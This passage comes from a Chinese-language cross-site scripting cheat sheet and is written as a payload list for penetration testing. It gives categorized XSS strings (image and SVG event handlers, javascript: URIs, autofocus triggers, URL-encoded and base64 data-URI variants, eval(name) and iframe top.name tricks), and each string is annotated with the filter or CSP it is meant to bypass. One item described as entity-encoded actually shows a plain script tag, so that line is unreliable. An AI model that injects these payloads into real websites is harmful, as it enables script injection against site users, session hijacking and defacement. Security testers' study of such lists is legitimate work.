利用图片加载失败触发onerror事件,适用于无法直接插入<script>标签的场景。
<svg onload=alert(1)>:
通过SVG标签的onload事件执行脚本,兼容性较好。
<a href="javascript:alert(1)">Click me</a>:
使用javascript:伪协议触发脚本。
二、事件驱动型Payload
<img src=x onmouseover=alert(1)>:
用户鼠标悬停时触发脚本,适合需要交互的场景。
<div onfocus=alert(1) autofocus>:
页面加载时自动聚焦并执行脚本,无需用户操作。
<input type="text" oninput=alert(1)>:
用户输入内容时触发脚本,常用于表单输入框。
三、编码与绕过型Payload
<script>alert(1)</script>:
HTML实体编码,绕过简单的标签过滤。
%3Cscript%3Ealert%281%29%3C%2Fscript%3E:
URL编码形式,用于绕过对特殊字符的检测。
javascript:alert%281%29:
URL编码的伪协议,可绕过对javascript:关键字的过滤。
四、DOM型XSS Payload
http://example.com/#<img src=x onerror=alert(1)>:
通过URL的location.hash参数注入脚本,不经过服务器直接在前端执行。
<iframe/onload=src=top.name>:
利用iframe的onload事件加载外部脚本,适用于DOM型XSS场景。
五、高级绕过Payload
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>:
将脚本Base64编码后嵌入object标签,绕过内容过滤。
<style/onload=eval(name)>:
利用CSS的onload事件执行脚本,可绕过部分CSP策略。
111 onclick=alert(document.domain):
在属性值中插入事件,适用于空格分隔的属性场景。
3.22. 补充
对于XSS漏洞,在实战中未避免因关键字被发现,多采用h5标签进行试探。

可以判断存在xss漏洞










